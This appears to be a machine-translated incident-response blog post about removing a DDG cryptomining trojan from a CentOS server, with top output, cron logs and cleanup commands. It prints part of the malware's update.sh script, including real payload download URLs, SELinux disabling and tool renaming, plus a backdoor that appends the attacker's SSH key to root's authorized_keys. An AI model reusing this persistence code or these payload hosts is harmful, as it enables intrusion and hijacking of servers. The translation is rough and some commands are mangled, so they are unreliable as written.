Note: All the following operations were carried out at CentOS 7.2 x86_64 bit system.
Suddenly received "Ali cloud" warning message today:
Dear ****: cloud shield Cloud Security Center detects that your server: * * * * (app) there was an emergency security incidents: mining program, we recommend that you immediately log on Cloud Security Center console - Security alarm.. View event details, and processed according to the recommended event program.
Then board the "cloud shield Cloud Security Center" to view, find safety tips:
View Point into details:
Online search the next, it found that mining is a Trojan horse virus in Linux / Windows dual-platform, the Trojan is spread via Redis loophole mining DDG variant of the Trojan, use Go 1.10 compiled languages use a lot of basic libraries. The Trojans will consume a lot of server resources, it is difficult to remove and has a network flooding.
Note: DDG mining mining malicious virus is a virus running under Linux system, the virus has been active in the last year from now, has been digging more than ten million yuan worth of virtual currency currency, this virus samples in a year or so, we have developed a DDG.3012 / DDG3013 / multiple DDG3020 variant versions.
Next, remove the virus.
# Viral clearance (first) #
1) Use the top command to view the current system resource usage:
# top top - 13:38:00 up 4 days, 20:30, 1 user, load average: 35.71, 35.86, 35.53 Tasks: 100 total, 1 running, 97 sleeping, 0 stopped, 2 zombie %Cpu(s): 92.9 us, 6.9 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.2 si, 0.0 st KiB Mem : 32781996 total, 32107928 free, 487608 used, 186460 buff/cache KiB Swap: 0 total, 0 free, 0 used. 31952696 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 923 root 20 0 2420152 90968 968 S 358.0 0.3 99:15.00 sysupdate 965 root 20 0 1088136 72112 1044 S 40.7 0.2 11:29.25 networkservice 25340 root 10 -10 130264 15648 9396 S 1.3 0.0 26:16.12 AliYunDun 9 root 20 0 0 0 0 S 0.3 0.0 1:54.95 rcu_sched 1300 root 20 0 157672 2148 1532 R 0.3 0.0 0:00.20 top
You can see sysupdate and networkservice two abnormal process takes up a lot of server resources.
First treatment sysupdate process.
2) Locate the file path of the abnormal process by PID.
# ls -l /proc/923/exe lrwxrwxrwx 1 root root 0 Oct 30 13:10 /proc/923/exe -> /etc/sysupdate
We can see the absolute path to the file is / etc / sysupdate.
3) First kill process.
# kill -9 923
4) then delete the file.
# rm -f /etc/sysupdate rm: cannot remove ‘/etc/sysupdate’: Operation not permitted
You can not delete, appears to be done to protect, it might be to use chattr command file locking done.
5) Unlock and try to delete the file again.
# chattr -i /etc/sysupdate # rm -f /etc/sysupdate
This may be deleted.
Then follow the steps above to networkservice abnormal process files deleted.
View the current server resource usage and found everything to normal:
# top top - 14:34:43 up 4 days, 21:26, 1 user, load average: 0.00, 0.02, 1.36 Tasks: 93 total, 1 running, 92 sleeping, 0 stopped, 0 zombie %Cpu(s): 0.1 us, 0.2 sy, 0.0 ni, 99.7 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 32781996 total, 32128876 free, 297728 used, 355392 buff/cache KiB Swap: 0 total, 0 free, 0 used. 32132976 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 503 root 20 0 1414308 28104 7676 S 0.7 0.1 14:32.75 CmsGoAgent.linu 25340 root 10 -10 130264 15648 9396 S 0.7 0.0 26:49.00 AliYunDun 31672 root 20 0 0 0 0 S 0.3 0.0 0:00.57 kworker/3:2
The server is normal.
# Viral clearance (second) #
Not long after, she received "Ali cloud" warning message again:
Cloud Shield detects that your server is an HTTP request, attempt to connect to download a suspected malicious source, may be hackers to download malicious files from a remote server by running the command, malicious processes, etc., endanger the security server. If the operation is not run your own, please timely investigation invasion of reasons, such as to view the scheduled tasks of the machine, and his son initiated the process of external connections.
Once again boarded the "Cloud Cloud Security Center shield" look and found safety tips:
Sysupdate found just deleted files back.
# more /etc/sys sysconfig/ sysctl.d/ system-release sysupdate sysctl.conf systemd/ system-release-cpe sysupdates
There is also a suspect sysupdates file, guess might be to write a timed task.
1) Check the cron job log, in order to facilitate filtration, keyword "update".
# more /var/log/cron log | grep "update" Oct 30 12:30:01 iabczwz93qwr9mrtmr CROND[31702]: (root) CMD (sh /etc/update.sh >/dev/null 2>&1) Oct 30 13:10:01 iabczwz93qwr9mrtmr CROND[32719]: (root) CMD (sh /etc/update.sh )
Sure enough, I found an unusual /etc/update.sh script.
2) Open the script to see its contents:
# vim /etc/update.sh #!/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/cur" ccdir="/usr/bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin/get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin/cur miner_url="https://de.gsearch.com.de/api/sysupdate" miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate" miner_size="854364" sh_url="https://de.gsearch.com.de/api/update.sh" sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh" config_url="https://de.gsearch.com.de/api/config.json" config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json" config_size="4954" scan_url="https://de.gsearch.com.de/api/networkservice" scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice" scan_size="2584072" watchdog_url="https://de.gsearch.com.de/api/sysguard" watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard" watchdog_size="1929480" ...
I can see it in here to do several things, first to the / etc directory below to download the following files:
- /etc/config.json: mining configuration file that contains the address wallet and mining parameters;
- / Etc / sysupdate: XMR mining program body;
- / Etc / sysupdates: XMR mining backup program body;
- / Etc / sysguard: acquired version of the system to download specific Payload performed, comprising a communication module for monitoring and ensuring the normal operation of the virus and updated;
- / Etc / networkservice: vulnerability detection module for Redis, MSSQL, ThinkPHP, WebLogic software vulnerabilities and vulnerability scanning systems and other host intrusion;
- /etc/update.sh: This script file.
Simple Analysis /etc/update.sh file and found that it did the following things:
- Download virus module;
- Clear the virus in other mining kill_miner_proc function;
- Regular tasks to survive;
- Add chattr file locking;
- Modify IPTABLES;
- Clear the log;
- Close SELinux;
- ……
There is a back door to create /root/.ssh/authorized_keys, adding the virus author's own public key to ensure that it can log on to the server using SSH, specific code as follows:
... chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys ...
Let's see this back door:
# vim /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17
Then we began to work.
3) First remove the scheduled task.
4) The relevant processes all over again kill to kill, and to delete all of the above file.
# rm -f /etc/update.sh # rm -f /etc/config.json # rm -f /etc/sysupdate # rm -f /etc/sysupdates # rm -f /etc/networkservice
5) delete the SSH back door.
# Rm -f / root /. ssh / authorized_keys
So far, the task is completed.